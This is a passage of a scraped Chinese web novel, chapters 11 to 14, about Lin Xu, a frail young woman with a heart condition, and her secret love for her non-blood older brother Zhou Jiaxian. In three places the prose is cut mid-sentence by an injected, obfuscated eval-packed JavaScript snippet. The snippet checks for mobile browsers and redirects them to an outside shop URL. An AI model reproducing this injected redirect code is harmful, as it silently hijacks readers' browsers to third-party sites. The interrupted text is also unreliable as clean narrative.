林絮连忙开了车门逃也似的下了车，一下车，寒冷的风迎面而来将她脸上升起的热度降了下去，她抿了抿唇，偷偷拍了拍脸，调整着自己的表情…… 周嘉先将后备箱的行李箱、小背包和装着床上用品的大袋子拎在手上，“小絮，车后座有你要的花，哥这边拿不了了，你去拿一下。” 林絮闻言才想起来，对哦，她刚才让她哥给她买花了…… “好，我去拿……” 林絮垂眸望着手中鲜艳如火的花束，玫瑰花仿佛在冬日里绚烂绽放，有无尽的生命力一样，她真的很喜欢，但她也知道其实它的寿命不会太长，一如她一样。 11. 第 11 章 - 当周嘉先双手拎着沉甸甸的行李才刚绕过车身走到林絮身边时，林絮抿了抿唇，忽然道：“哥，你背我！我不想自己上楼。” 周嘉先：…… 他叹了口气，眼神中闪过苦恼，又笑着道：“哥手上还拎着行李呢，没办法背起你啊。” 林絮抱着花束的手收紧，梗着脖子道：“那你先将行李拿上去，再下来背我！” 周嘉先探究地看了她一眼，神色苍白的脸上明明是她在提出无理取闹的要求，却仿佛此刻不应她的自己才是在无理取闹一样的委屈倔强神情。 他垂了下眼帘，复又睁开，笑着道：“行，那你等哥一会儿，你先往后站站，让车子给你挡一挡风。”他一向见不得她露出委屈的神情，自来是没有什么不答应她的。 “嗯。”林絮点点头，顺从地往后站了站。 老小区的房子没有电梯，楼道也有点窄，林絮看着周嘉先微微侧着身子上楼，让左右手上的行李换成一前一后。 很快他的身影就消失在楼梯的拐角处，林絮抿了抿唇，视线随意地望着这个小区楼下老旧的游乐设施，这里每一处地方都有曾经她和她哥的足迹。年年岁岁而过，他们很快就长到了应该避嫌的年纪…… 才过一会儿，楼道上传来了急促的脚步声，林絮抬眸望去，是她哥周嘉先。这是……放下行李之后就跑下来了吗？ 林絮抱着花朵，神情忐忑，期期艾艾地喊了一声，“哥……” 刚刚她就是恰好情绪一上头，就想闹脾气，好像闹着脾气，看着他无底线地纵容她时，她才能感受到被在乎的满足，她的心才能落到实处。 “嗯，不是要我背你吗？上来吧……”周嘉先眼眸带笑，在她面前转过身弯下腰。 “算了……”林絮抿了抿唇，伸手扯着他的手臂，“哥你拉我上去就行了。” 周嘉先闻言，站直后转过身来，伸手摸了摸她的发顶，声音温和，“不想哥背了，那我抱你上去行不行？” 林絮眼眸一颤，还未反应过来时，周嘉先便弯下腰，手臂穿过她的膝窝将人打横抱了起来。 看着忽然腾空，脸色一变的妹妹，周嘉先眼中闪过无奈妥协的笑意，他要是这会儿让她懂事了，真的按她说的不背她，指不定哪天忽然想起来又要呕气，闹着说他说话不算话了，即便是她自己提出的不要背了也不行。 在踩了好几次这样的坑之后，他习惯于找个折中的方法，既按她说的“不背”做，又完成她提出的“不自己上楼”的要求。 林絮一手抱着花束，一手抱着周嘉先的脖子，头抵在他的胸口前低声道：“哥，我重不重？” 周嘉先停下脚步，垂眸看了她一眼，这张刚才还一脸自厌自弃的脸上露出了得意的小表情，他的心情也终于轻松了几分，“不重。” 一路抱到了家门口，周嘉先这才将林絮小心翼翼地放下来，行李还放在家门口，显然刚才他只是将行李放下之后就立刻跑下去了，连家门都没开。 “哥……”林絮靠在门边看着周嘉先拿钥匙开门，“不用那么急的，干嘛不先把行李放家里面……” 周嘉先拧开房门，一边拎行李，一边道：“楼下风大，你刚刚才睡醒不能吹风。而且我们这栋楼里的住户也都是认识那么多年的老邻居了，行李放门口也没事。” “哦……”林絮心微暖，甩掉鞋子，穿好他哥放在她脚边的棉鞋。 这个点林浩、柳垂影在医院值班，家里静悄悄的，冬日微弱的阳光攀爬上窗户，在客厅的地板上落下一小片光片。 林絮打开她房间的房门，周嘉先将行李箱推进去，小背包放在她房间的桌面上，“小絮你还想睡吗？还想睡就再睡一会儿，爸妈晚上值夜班，不回来吃，你晚上想吃什么？” 林絮一进门就将玫瑰花放在床头柜上，随后直接四仰八叉地趴在床上，闻言她微微侧首看向周嘉先，反倒问：“哥，我的床单什么的都洗了吧？” “洗了。你上次说十七号回家，我前两天就放洗衣机洗了，刚好前两天太阳也挺大的。” 林絮一笑，“谢谢哥。” 周嘉先嘴角带着温和的笑意，继续问道：“晚上有没有什么特别想吃的？我做还是出去吃？” 林絮眼神亮亮：“哥你还是不要太累了，我们出去吃吧！你请我吃大餐！” 周嘉先忍俊不禁，“好，难得你心疼哥，那就出去吃吧。” 被她哥周嘉先这么一说，林絮眼珠子转了转，虽然心虚但很快又理直气壮起来，“好啦，我要继续睡觉了，晚点叫我。” “好。”周嘉先笑着点头，轻轻将房门关上了，小絮带回来的宿舍床上四件套他得趁着这两天天气不算糟糕，洗了拿去晒。 家里的卫生间狭小，所以洗衣机放在了阳台上，周嘉先拉开大袋子的拉链，将里面的床单、被单、被套拿出来放进洗衣机里，枕头和棉芯他抱着放在了沙发上。 嗯？？？ 周嘉先脚步一顿，余光瞥见地上掉了件浅粉色的东西，他弯下腰捡起来，当看清手指头勾着的布料是什么时，他表情一僵，顿了片刻后，他掀开洗衣机的盖子将小内裤丢了进去。 真是的……周嘉先无奈扶额，虽然他是哥哥，但有些东西他见了也是会很尴尬的啊！ 上一次这么尴尬的时候还是妹妹小絮小学五年级时来初｜潮的时候，当时林浩、柳垂影在医院值夜班，大半夜的，他睡着睡着猛然听到了一声尖叫声，生生被吓醒了。 听着声音像是妹妹小絮的，他连忙打开了灯，跑出了房间却没在对面的房间里找到妹妹小絮，最后在亮着灯的卫生间看到了人影。 “小絮？小絮？怎么了？”他站在卫生间门口听着里面的妹妹“呜呜呜”地压抑着声音哭着。 “呜呜呜……哥哥，我要死了，我流血了……血止不住，怎么擦都还有……呜呜呜……” 他急得不行，又不清楚里面是什么情况，他不好去拧卫生间的门，“小絮，你现在方便打开卫生间的门？哥哥看看行不行？哪里流血了……是摔倒了吗？” “小絮！！！” 好半响，卫生间的门开了，林絮扶着墙一脸苍白，气若游虚道：“肚子好痛啊，哥哥……我好痛。我流血了……” 周嘉先一把扶住她，上下打量着，“哪里流血了？”这也不像摔到了啊，身上没伤口。 林絮捂着肚子，红着眼眶道：“内裤上都是血，我下面流血了……” 内、内裤？下面流血？ 周嘉先动作都卡顿了，他立刻意识到一个问题，该不会是来月经了吧，这……这反应是第一次来吗？难道没人教过她这方面的知识吗？！！ 他只觉得一阵头疼，但眼前的妹妹小絮双眼里还包着泪水，一副惶惶不安的样子，他只能硬着头皮搞定了，“等等，小絮，你先别哭……” “哥……我都要死了，还不能哭吗？”林絮抽噎着仰头瞪着他。 周嘉先：…… “你不会死的，哥给你保证，好不好？你先听哥说话，好吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222578|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”周嘉先简直心累。 林絮眼眶里的眼泪要掉不掉的，“那你说吧……” 真要让他说，他却不知道一时间该怎么说才好，想了想，周嘉先还是将人扶着坐在了餐椅上，“你先坐着，我去给你找个东西。” 好不容易从柳垂影的房间里找出张卫生巾，他又遇到了一个难题。 “……这个？贴在内裤上……怎么贴？哥……” 闻言，他揪了揪头发，目光落在阳台上晒着内衣内裤的架子上，他抿了下唇，道：“你先等一下。” 从架子上将她的小内裤拿下，周嘉先撕开卫生巾的包装纸，红着脸眼神闪烁地琢磨了一下便大概知道应该怎么贴了。 周嘉先将已经贴上卫生巾的小内裤仿佛烫手般地连忙递给妹妹小絮，“你先去卫生间换上这个内裤，血就不会流出来了。” 林絮白着脸，懵懵懂懂地点了点头，拿着小内裤走进了卫生间内。 大冬天的……周嘉先愣是额头都冒汗了，他余光瞥了一眼，见餐椅上有暗色的痕迹，垂在身侧的指尖动了动，最后他抽了张纸巾沾上水将餐椅上的暗色抹去。 这时，林絮也从卫生间内小步小步地挪了出来，神色忐忑，“哥……” 周嘉先见她这幅不安的样子，习惯地笑了笑，温声道：“没事的……”他走过去，握着她的手臂继续道：“你跟哥过来一下。” 他刚才想了想，由他来说还是算了吧，他懂的也不多，于是他打开电脑，搜索了个女性月经科普视频，将人按在椅子上道，“这个流血是正常的，不会死的，你先看看这个视频就知道是怎么回事了。” “你先看着，哥去给你煮点东西喝。” 虽然他是初中生，但是当时班里已经有早熟的同学早恋了，他就曾听后桌的男同学说过，他会在月经期给女朋友煮红糖水，能缓解疼痛。 因此，他翻了翻厨房里的柜子，从里面找出红糖，煮了一碗红糖水，端到了房间里，放在了桌面上。 此刻，林絮已经看完了关于女性月经的科普视频，明白自己闹了大笑话的她脸红得不行，“哥、我、我不知道，没人告诉我这个……我……” 周嘉先站在她的身旁拍了拍她的肩膀，低声道：“没事没事，现在懂了就行，把这个红糖水喝了吧，会缓解肚子疼的。” 喝红糖水可以缓解肚子疼这一点，刚才那个科普视频里也有提过。 “嗯，谢谢哥……”林絮端着碗，小口小口地喝着，温热的水下肚，小腹处沉重的下坠感和疼痛感得到了缓解，她眼帘抬起，双眼亮亮地望着周嘉先。 等她喝完红糖水，他又告诉她，父母房间里床头柜子下面就有卫生巾，可以拿着换……他还待嘱咐时，林絮赶紧打断了他的话，表示这些她都知道了，科普视频里讲得很清楚，方方面面都说了…… “那好，回去睡觉吧。” 那一天的翌日，妹妹小絮还没起床时，他早起做早餐时遇见了正值夜班下班回来的父母，将妹妹来了初潮吓到了的事和父母说了，他暗暗谴责了不称职的这对父母，这种事居然最后让他这个当哥哥的来面对。 柳垂影懵了一瞬，“这种事我们办公室的同事基本上在小孩子有了性别意识的时候就会讲了，我以为你、和你前妻应该告诉过小絮了，小絮来我们家的时候都6岁了吧……” 林浩抹了把脸，解释道：“小絮小时候身体那么差，经常住院，我当时忙于工作和照顾她，哪里会想到那么远的事……” 周嘉先：…… 12. 第 12 章 - 一回想起这件事，周嘉先就下意识地看了一眼墙上的日历表，十七号，差不多是她来例假的时候。 即便他不想特意去记这个日子，但这么多年他下意识地关注她的身体状况自然而然就记住了每月这个日子的前后，妹妹小絮总是格外地疲惫倦怠。好像今天她就是格外地困…… 周嘉先皱起眉头，抬脚往厨房走去，开火煮了碗红糖水，然后装进保温瓶里。 眼看着差不多到应该吃晚饭的时间了，周嘉先轻轻敲了敲林絮的房门，压低着声音喊道：“小絮，快醒醒，我们出去吃饭了。” 他喊了好几遍之后，林絮才慢悠悠转醒，在床上反复眨了眨好几次眼睛之后，她挣扎着起床了，一觉睡醒，窗外一片漆黑，有种被世界抛弃了的孤独感。 然而耳边传来的温柔呼唤声让她飘忽的心忽然落到了实处，林絮懒懒地回了一声，“知道了，我醒了，哥你等我一会。” “好，慢慢来，不着急。” 林絮抿了下唇偷偷笑着，起身换了套浅蓝色的毛衣连衣裙，连衣裙的裙摆是荡开的鱼尾设计，再草草画了个淡妆让自己的气色好看一些，最后她套上毛茸茸的短款白色外套。 “哥…走吧，我好了。”林絮调整了一下头上浅蓝色的贝雷帽，换了双白色的毛绒半鞋。 周嘉先收起手机，拎起沙发上的毛呢黑色中长款外套穿上，他看着玄关处穿得一身都是软乎乎、毛绒绒的林絮嘴角下意识弯起，“小絮每次和哥出去都穿得很可爱嘛……” 林絮闻言，心猛地一跳，少女心事仿佛被戳中一样，她嘴角僵了僵，支支吾吾地解释道：“就……怕出门遇见熟人嘛，当然、当然要每时每刻都很好看啊。” 周嘉先闻言倒也没有多想，女孩子爱美是天性，她开心就行。 周嘉先考虑到她例假快要来了，想着喝一些滋补的汤汤水水，肚子会舒服暖和一点，这个时间也得忌辛辣的食物，因此找了家清淡的粤菜馆。 许是进入寒假的原因，路上比平时堵了很多，周嘉先握着方向盘看着前方的车辆，林絮想起出门前他哥说的那句话，到现在还心惊肉跳着…… 女孩子每次和某个男性出门都用心打扮，一想就能知道为什么。她哥应该就是随口一说的吧？ 即便她无数次偷偷想着有一天她哥察觉到她的心思会露出什么样的表情，但说到底她还是不敢，胆怯，生怕被她哥知道后，他会露出鄙夷的眼神，再接着远离她，只要一想想这种后果，林絮就难受得不行，她无法承担这个后果。 林絮咬了咬牙，觉得还是得描补遮掩一下她的心思，于是装作心有余悸的样子道：“哥……之前我舍友陈瑶就是，她平日里很注意她自己的形象的，可是偏偏有一次去拿快递的时候想着也就下个楼的功夫，所以就直接穿着睡衣就下楼了，结果啊……没想到那个快递员就是我舍友的前男友。” “然后那个快递员就嘲讽我舍友说什么离开他之后变得越来越丑了……” 周嘉先转了一下方向盘，凋了个头，闻言便皱着眉头道：“你舍友看人的眼光不怎么好啊，都分手了那个男的还出言不逊，挺没风度的。” 呃…… 林絮一噎，她的重点不是这个啊，她只是想暗示她哥，她每次穿得很漂亮和他出门只是为了以防万一遇见熟人，才……才不是她不可言说的少女心事。 “啊，对。那个男的挺一般，还好他们已经分手了。”林絮只能硬着头皮附和道。 说话间，车子已经开到了目的地——星缘大厦一楼的粤菜馆，这家店是他的朋友陈恕推荐的。 粤菜馆内的餐椅之间都留出了空余的空间来布置木质屏风，以此来保证客人的隐私性，每张餐桌都是小小的独立包间，虽然有心听还是能听到隔壁餐桌的人在说什么，但好歹保住了视野上的私密性。 服务员将菜单放在桌面上，提醒周嘉先、林絮点完单之后按桌面的按钮就会有人来收菜单。 周嘉先撇了几眼菜单，确定菜单上的菜都不是辛辣食物和妹妹小絮需要忌口的食物后便递给了她，“你看看，有什么想吃的？” 林絮接过菜单点了几个菜，周嘉先又多点了两份汤。 等菜上的期间，隔壁应该是一对情侣，对方正讲着你侬我侬的情话，由于周嘉先和林絮所坐的位置比较偏，因此附近就只有那一桌和他们这一桌。 林絮每次和周嘉先出去吃饭时都习惯坐在他的身边而不是对面，听着隔壁桌越来越露骨的话语，甚至开始说到床上的事情，林絮恨不得将头埋起来，她尴尬得不行，指尖忙碌地刷着手机页面，假装被手机里的内容吸引住了，控制着余光一点儿都不敢瞥向她哥。 一向沉稳、做事游刃有余的周嘉先捂住眼睛，沉默好半响之后，他咳了几声，隔壁那一桌的情侣顿时停止了谈话…… 周嘉先终于松了口气，和自己的妹妹听着别人的床事怎么怎么样，这到底是什么诡异的经历啊！ “哥……”林絮红着脸低声道。 周嘉先扶额：“……嗯，没事。菜都点了……” 很快，他们点的菜就上齐了，周嘉先先盛了碗热汤放在林絮的手边，道：“先喝几口汤吧，粤菜这边都是先喝汤润润嗓子，再吃菜的，你也试试。” “好……” 许是周嘉先、林絮这边说了话，隔壁那桌的人也意识到因为他们这边比较偏，比较静，所以彼此是听得到彼此之间在说什么的。 周嘉先咳了几声之后，那边一直到他们吃完饭放下筷子都是安静的。 周嘉先抽了几张纸巾都擦不干净刚才帮林絮剥虾的手，指尖黏糊糊的，有股味道，他起身道：“小絮你等我一会，我去洗个手，马上回来……” 林絮撇了撇嘴，“去呗，我又不是小孩子不会乱跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222579|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 周嘉先闻言顿时笑了，看着妹妹小絮整个人陷在柔软宽大的沙发椅上，强烈的对比之下，他真的觉得她就还是个小孩子，他下意识想伸手摸摸她的发顶，然而想起不干净的手指便立刻收回了手。 他笑了笑，朝餐厅的卫生间走去。 林絮抿着唇，看着身形高大挺拔，步履沉稳的周嘉先的背影，眼神飘忽起来，方才隔壁桌那对情侣的话仿佛萦绕在她耳边一样，男人的那个东西难道真的和体形有关吗？也不知道她哥的是什么样的？ 刚一想到这一点，林絮立刻双手捂住了脑袋，心中无声地尖叫着，整个脸开始通红，他赶紧使劲拍了拍脑袋。 林絮林絮你在想什么啊……别想了！不能这样臆想你哥，你羞不啊羞啊！ 赶紧想别的，想别的，林絮甩了甩脑袋，连忙将滑坡的思绪甩出脑海里，片刻后她仿佛打了场胜仗后满身疲倦般靠在了沙发椅背上，真是要命啊…… 另一边—— 卫生间洗手台上放着一瓶洗手液，周嘉先挤了一点，在掌心擦出泡沫之后，用水冲干净，他抽了张纸巾正擦着手掌时，忽然察觉到身侧站了一个人影。 周嘉先侧首望过去，总是习惯带着笑的脸忽然刷地一下沉了下来，眼神冷厉，是他——徐序晨，害得他妹妹小絮心脏病发的人。 徐序晨笑容温和，“你是林絮她哥吧？还记得我吗？” 他一开口，周嘉先脸色瞬间微妙起来，这个声音不就是刚才隔壁桌说话的那个男人？三岁看老，古人诚不欺我，当年读初一便能说出那些污言秽语的人，现在能在大庭广众之下和女友说着淫词秽语倒也不算意外。 “我想我和你没什么好讲的。”周嘉先眼神淡漠地撇了他一眼，绕过他直接离开。他妹妹小絮看人的眼光是真差，这样丝毫不尊重女性的烂人他真不知道为什么她还喜欢着…… 【我有喜欢很多年的人了……】一想起这句话，周嘉先皱起眉头，再一想到今她说的话，他更加心塞了…… 该不会小絮每次出门就怕遇上徐序晨，所以每次都费心打扮吧？周嘉先就差眼前一黑了，伸手拧了拧眉心。 “哥，你怎么了？”林絮看着她哥去了一趟厕所，回来脸色怪怪的，便问道，“肚子不舒服？” 周嘉先：…… “没事。”他伸手揉了揉她凑过来的头，有些心累。 结完账，两人准备回家，哪怕是寒冬腊月，京照市的夜晚依旧是灯火通亮，汽车行驶着，窗外斑驳陆离的光斑洒落在她的身上，影影绰绰。 周嘉先余光落在林絮的身上，身形娇小的她仿佛陷在座椅里，毛绒绒的毯子盖在她的身上，光影绰绰之间，她仿佛触手可及，却又让人觉得触手即灭，像泡沫般脆弱易碎，需要用心地呵护着。 “小絮，以后有喜欢的人能先和哥说一声吗？哥帮你掌掌眼。” …… 13. 第 13 章 - 闻言，林絮眼底的神色沉静了片刻，她微微垂下眼，她喜欢的人不就在眼前吗？不就是他吗？但她开不了口…… “哥，你怎么突然说起这个了？” 她语气颇为不乐意，明明她喜欢的只有他，说什么带人给他看，她又能带谁，这个世界上除了他爸之外，也就只有他不觉得患有心脏病是件多么减分的事情，是个男的，只要知道她有病，立马掉头就走。 周嘉先无奈地笑了下，还不是因为她的眼光实在太烂，人又偏执，按理来说，他只是哥哥不应该过多地干涉她的感情，她也长大了，但是…… 他只要一回想起当年她从抢救室出来后躺在病床上的样子，就忍不住担忧、恐惧。 “没什么，就随便说说，你都快大学毕业了，谈恋爱也完全可以了。怎么？还没谈恋爱就先要跟哥疏远吗？哥看人还挺准的，相信哥吧，行吗？”周嘉先笑着调侃道。 林絮偷偷撇了撇嘴，他看人要真还挺准的，那为什么这么多年他愣是看不出来她喜欢他…… “我才不会和哥疏远呢，男朋友可以换，哥哥永远只有一个。” 这句话逗笑了周嘉先，他心里丝丝缕缕的郁气都消散了，一个徐序晨而已，他担心什么。 “啊，听到你这么说，我倒是蛮开心的，不枉哥这么多年也算处处顺着你了，倒也不是一个小没良心的嘛。” “哼……”林絮瞪了他一眼，还是道：“我本来说的就是事实。” 周嘉先又笑了。 林絮偷偷撇了眉眼笑得温柔的周嘉先，压抑着不规律跳动的心脏，胆怯又期待地假装随口问道：“那……礼尚往来，哥你以后要是有喜欢的女孩子了，能不能也先让我看一看，我给你掌掌眼。” “你给我掌眼？”周嘉先忍俊不禁。 “不行吗？”林絮理直气壮。 “当然行，既然带给你看，那就代表我是认可她的，未来会是一家人，我肯定会带给你看的。放心吧。”周嘉先语气愉悦。 “哦。” 林絮抿了下唇，明明他哥答应了她的要求，可这句话听起来就让她心中泛酸，他根本就从未想过她这个可能，她也无法想象有一天她哥真的带来了他认可、将要携手一生的女人。 周嘉先一向对她的情绪变化十分敏锐，他挑了下眉，声音带着笑意，“怎么了？答应了你的要求，反倒不乐意、不开心了？” “我觉得我们家现在就挺好的，不需要再加人了。”林絮知道自己在胡搅蛮缠，但还是忍不住偷偷暗示道。 周嘉先伸手调高了车内的温度，前方路口是红灯，他这才侧过头来看着一直低着头的林絮，“哥总不能一辈子不结婚吧，你也是，你想一辈子不嫁人吗？” “为什么不行？你嫌我在家碍眼了？”林絮转头瞪着眼看着他，眼眶里的泪水要掉不掉的，仿佛他做了什么十恶不赦的事一样。 周嘉先看着她眼中晶莹的泪水，心顿时一窒，不明白怎么好好说着话呢，她忽然就哭了，但哄她仿佛已经成了他刻在骨子里的事。 哔—— 是后方车辆鸣笛的声音。 周嘉先收回视线看向前方的道路指示灯，绿灯亮了。他踩下油门，往前开了一段路之后就找了个空的车位将车停进去。 “怎么停在这？”林絮带着刚掉完泪的鼻音低声道。 周嘉先心中无声地叹了一口气，语气温和带着妥协、认输、纵容的意味，“你都哭了，哥还怎么专心开车？” “我哭我的，你开你的车呗，又赖我是不是？”林絮气哼哼瞪着他。 周嘉先抿了下唇，抽了张纸巾，轻轻按了按她湿润的眼眶，一边道：“是你又在赖我，我什么时候嫌你在家碍眼了，这话你也说得出口，真就差把你供起来了。” “那你干嘛非要我嫁人？你想把我赶出去？” 怎么可能……她哥怎么可能赶她！但她就是要这么说！她想听到他否定的话，听到他承认她存在的重要性。 “……没有非要，哥只是希望你也能找到一辈子喜欢的人而已，和喜欢的人结婚幸福地过一生而已，难道你不想吗？怎么就变成我要赶你出去了？小絮，讲讲道理行不行……”周嘉先将湿润的纸巾揉成一团随手放在车载垃圾桶里。 “我不想嫁给别人……”林絮抿着唇，眼神倔强。她想嫁的只有她哥。 周嘉先从顺如流，“好，不嫁。” 林絮哽了一下，她哥就怎么意识不到不嫁别人，可以嫁他啊，他就不是别人啊！ “那哥你要是谈恋爱了，会疏远我吗？妹妹可只有一个啊！” 林絮话音一落，周嘉先目光犀利地落在她脸上，他明白了……原来从刚才闹到现在其实是因为害怕他疏远她…… 周嘉先忍不住心软，伸手摸了摸她的发顶，因为患病，所以自小到大她都格外敏感、偏执，对她自己所拥有的人或物占有欲强烈。 她小时候还懵懂时就已经把他当作所有物，他的两个堂妹、几个堂弟过来玩时，她就整天撅着嘴，黏着他，不让他带着他们出门玩。 【先哥也是我们的哥哥，凭什么你说不让他带我们玩，先哥就得听你的。】 【真要说来，也是我们和先哥的关系更亲近！】 【你还是后来的呢，先哥最喜欢的妹妹是我们，我们有血缘关系，你没有！】 “你们胡说，他是我哥哥，不然怎么你们不住我们家！哥哥是我的。” “哥，不许你和他们一起玩，你要陪我玩！” 彼时的他被一群小孩吵得人都麻了，安抚好一个，另一个又闹起来，因为身体原因闹得最弱、喊得最小声的是妹妹小絮，但她却是杀伤力最强的，这个杀伤力剑指她自己。 眼见着喊不过别人，她气得脸颊通红、呼吸都开始急促起来，“不、不是，你、你们说得不对……我……才是哥哥最喜欢的妹妹……” 当时他吓得不行，生怕她发病，于是把堂弟堂妹们半赶半哄地劝了回去，又连忙在她面前说好话，承诺只把她当妹妹，她在他心里必须是第一位，其他人都得往后排，她才慢慢平复了急促的呼吸。 周嘉先眼底掠过怅然，他年幼的时候父亲很早就牺牲了，他对父亲唯一的印象只剩下对方告诉他男孩子要有责任和担当，不能软弱，因此从懂事起他就习惯于照顾身边比他还小的孩子，而妹妹小絮是所有孩子中最弱小的那个。 父亲很早就牺牲了，母亲忙于工作，年幼的他惶惶不安，却偏偏惦记着父亲说的话，要强大要有责任，大约是长久以来一直秉持着这种观点，所以他不知不觉中也从这种照顾、保护比他弱小的小孩中得到了被需要、被依赖的满足感。 周嘉先无奈、苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228720|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恼、习惯性地笑了笑，猛然意识到正是他这种从别人身上汲取自己存在价值感的行为，才导致了妹妹小絮被他纵容着变得习惯性地依赖他。 但……其实这是不应该的、错误的，周嘉先克制了下自己被依赖的奇怪的满足心理，抿了下唇，一时间竟不知道该怎么回答这个问题。 眼见周嘉先居然沉默起来，林絮眼眶又渐渐红了…… “哥……” 周嘉先：…… 他心中叹了口气，方才闪过想要纠正她习惯性依赖他的行为的念头已经在她的泪水中消散了，算了……他是哥哥，妹妹依赖他不是很正常的事吗？倒也不必非要纠正过来……平白惹她伤心。 “没有，哥怎么会疏远你呢。” 林絮咬了咬唇，“真的？” “嗯，真的。”周嘉先点了点头，放低声音柔声哄道：“所以别再哭了，好吗？” 好半响，林絮低低应了一声，“嗯……” 周嘉先无奈地笑了笑，他谈恋爱为什么就要疏远她，她不是他的家人吗？这两者之间根本就没有关系，到底还是小孩子啊，思维想法还是小时候的模式…… 见她情绪已经平复下来了，周嘉先这才准备重新启动车辆，然而此刻手机“叮——”地响了一声，微信收到了一条信息。 周嘉先拿起手机看了一眼，是陈恕发给他的，让他帮忙去律所拿份资料然后送到医院去。 陈恕——周嘉先的高中好友，兼现在“金颂律师事务所”的合伙人。 当年陈恕从德国回来之后又在老牌律所——联合律所实习了一段时间，后来他们俩一拍即合，联手创办了“金颂律师事务所”。 金颂律师事务所，在现今京照市律师界算是第二把椅子了，而前阵子陈恕和联合律所的老牌律师们联合打胜了“维C案”之后，更是在全国的律师界斩露新头。 “哥？”林絮狐疑道，“怎么了？” “啊，没事……我们先去我公司一趟，我要拿份文件资料送到医院那，陈恕要的。” “哦……”林絮点点头，又皱起眉头道：“怎么送到医院去啊，该不会是陈恕哥又把自己作到医院去了吧，都这样了他还要忙工作啊？” 周嘉先：…… 虽然感觉这次应该不是陈恕生病，但刚才对方也没说几句就挂了，他暂时也不知道什么情况。陈恕这个工作狂的本质，连他妹妹小絮都知道。 “我也不是很清楚，先送过去吧，再看看。” 车子掉了个头往金颂律师事务所开去，律所内的同事早就全都下班了，周嘉先打开墙上的灯光按键，林絮跟在了他的身后，进了律所后左顾右盼地看着。 见她这么好奇，周嘉先笑了笑，“以前叫你来律所看看，你都不来，我还以为你没兴趣呢！” 林絮闻言顿了下，她怎么会不好奇呢，这可是她哥创业成功的公司，只是……她怀揣着隐秘的妄想，不想来的时候撞见他公司的同事，不想他向别人介绍她是他妹妹。 “不是没有兴趣，就是怕人太多，不太好意思。”她这么解释道。 周嘉先笑了下，径直进了陈恕的办公室找到了他要的那份文件资料，而林絮则是打开灯，在周嘉先的办公室里仔仔细细地观察了一番。 当发现她哥的办公室没有任何女性存在的痕迹时，她偷偷露出了笑容。 14. 第 14 章 - “小絮，你就在车上吧，车里有暖气，哥下车过去送个资料，很快就回来了……”周嘉先道。 “好。” 林絮点点头，她巴不得不去见陈恕哥，主要是因为她陈恕哥实在是太敏锐了，上次她就差点让陈恕哥发现她喜欢的是她哥周嘉先。 当时陈恕哥的眼神隐晦地看了看她，又看了看她哥时，她简直心如擂鼓、头皮发麻。 车内的暖气温度调得正合适，林絮靠在椅背上感觉有些疲倦，应该是刚才哭了闹了消耗了精神吧，她早就习惯她身体时不时的疲倦、无力。 小腹、腰腹好像有点泛酸，林絮皱起眉头，拿起手机看了一眼，十七号，对哦，她应该是快来例假了…… 啧……调整了一下坐姿，林絮还是坐立不安，余光瞥见副驾驶和驾驶座中间的收纳处放了一个保温瓶，她下意识拿了起来，沉甸甸的，有水…… 这是她哥用的黑色保温瓶，林絮想也不想地拧开了瓶子，喝了一口。 咦？红糖水…… 林絮眨了眨眼，哦，可能是她哥知道她快来例假准备的吧，这么想着，她干脆将红糖水喝完了，感觉小腹处变得温暖舒适多了。 随手将保温瓶塞回去，她靠在椅背上漫不经心地望着窗外。 另一边—— 周嘉先到了医院后才知道原来是张期期犯胃病了，期期正在睡着，他隔着窗玻璃看了几眼。 张期期，他高中时的好友，当年他、陈恕、林听、张期期还有已经去世的许兰亭是玩得很好至交好友，大家相约着一起上华大，只是后来物是人非，最终去上华大的只有他一个人而已。 “怎么就得了胃病，期期她……”周嘉先话未说完，陈恕便理解他的未尽之语，年少时健康、活力、一力降十会、永远情绪饱满的她在这么多年后变得沉默、羸弱。 “算了，你好好照顾她吧，还有你自己的身体也要多注意点，没那么急的案件可以先放一放嘛。”周嘉先劝了几句。 “先哥，你放心吧，我心里有数。”陈恕道。 周嘉先拍了拍他的肩膀，“有什么需要帮忙的就直说。我先回去了，小絮还在车里等我。” “小絮？”陈恕忽然想起林絮望着周嘉先时眼中难以遮掩的情意，他顿了顿。 周嘉先脚步一顿，“怎么了？” “啊……没事。路上开车小心点。”陈恕犹豫了一下还是没说，他并不看好她的感情，先哥是个道德感极其强烈的人，是不可能接受自己的妹妹的，哪怕没有血缘关系。 且林絮看起来也不打算说破这段感情，既然如此他这个外人就没有必要多事了…… “知道了。” - 冬日的夜晚夜色比较暗沉，临时停车场的灯光稍显昏暗，周嘉先找到自己的车子后打开车门上了车，林絮已经时不时地打着瞌睡了…… “好了，我们现在回家吧。”周嘉先赶紧启动车子。 